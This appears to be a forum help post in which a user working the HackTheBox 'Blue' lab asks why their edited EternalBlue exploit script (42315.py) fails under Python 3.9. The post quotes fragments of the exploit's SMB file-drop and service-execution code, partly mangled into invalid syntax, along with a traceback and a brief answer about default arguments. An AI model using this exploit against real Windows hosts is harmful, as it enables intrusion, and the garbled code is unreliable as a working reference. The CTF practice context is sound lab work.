I have written a code and I am trying to run it with python version 3.9 and I am getting this error:
File "/home/user/hackthebox/blue/42315.py", line 928
def smb_send_file(smbConn, '/home/user/hackthebox/blue/eternalblue.exe', 'C', '/eternalblue.exe'):
This is the code:
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
def smb_send_file(smbConn, '/home/user/hackthebox/blue/eternalblue.exe', 'C', '/eternalblue.exe'):
with open(conn, r'cmd /c:eternalblue.exe') as fp:
smbConn.putFile(remoteDrive '$', remotePath, fp.read)
# based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.letters) for i in range(4)])
can anyone help please ?
Fixed it and got another error below after following the solution and executing it
Traceback (most recent call last):
File "/home/user/hackthebox/blue/42315.py", line 998, in <module>
exploit(target, pipe_name)
File "/home/user/hackthebox/blue/42315.py", line 834, in exploit
if not info['method'](conn, pipe_name, info):
File "/home/user/hackthebox/blue/42315.py", line 489, in exploit_matched_pairs
info.update(leak_frag_size(conn, tid, fid))
File "/home/user/hackthebox/blue/42315.py", line 333, in leak_frag_size
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
File "/home/user/hackthebox/blue/mysmb.py", line 349, in create_nt_trans_packet
_put_trans_data(transCmd, param, data, noPad)
File "/home/user/hackthebox/blue/mysmb.py", line 73, in _put_trans_data
transData = ('\x00' * padLen) parameters
TypeError: can only concatenate str (not "bytes") to str
CodePudding user response:
You should have variables as arguments to a function. If you want to have variables with default values you just assign them on the function:
def smb_send_file(smbConn, path = '/home/user/hackthebox/blue/eternalblue.exe', lang = 'C', path2 = '/eternalblue.exe'):